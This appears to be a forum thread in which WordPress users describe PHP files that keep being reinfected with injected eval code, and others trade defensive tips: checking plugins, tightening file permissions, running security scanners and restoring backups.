when i remove the code its back again
all files at the same user hacked
any advice ?
thanks

 

It's hard to tell without a little more information. Since it comes back immediately, it's likely code adding it, rather than another user who has access to your site. You might want to look at what plugins you installed and try disabling them until the issue goes away - particularly anything you downloaded straight from Google, rather than the official WP plugin site.

 

Check up the plugins you installed, it happend to me before because one of the plugins i used

 

I have never had a problem of my wordpress being hacked so i don't think i can help.

 

I am having this happen to me, too. I've been trying to change file permissions to the index.php files to 444, and the .htaccess files too. I've found a couple of plugins that help, Bullet Proof Security, helps secure the .htaccess files and recommends permissions for various other files. So far, it's holding. I also use Exploit Scanner which identifies which files the eval code has been inserted into. I think it's been 24 hours and no new hacks... I'm watching them pretty closely.

I don't know where this is coming from, but it's super annoying. I have changed users and passwords on all the logins and DB users. But my database seems fine, actually. It's just the php files that are getting hacked with the eval code.

 

Scan your plugins and themes. If it back again contact your hosting support. Hope it helps.

 

Do you have a backup of your blog ?
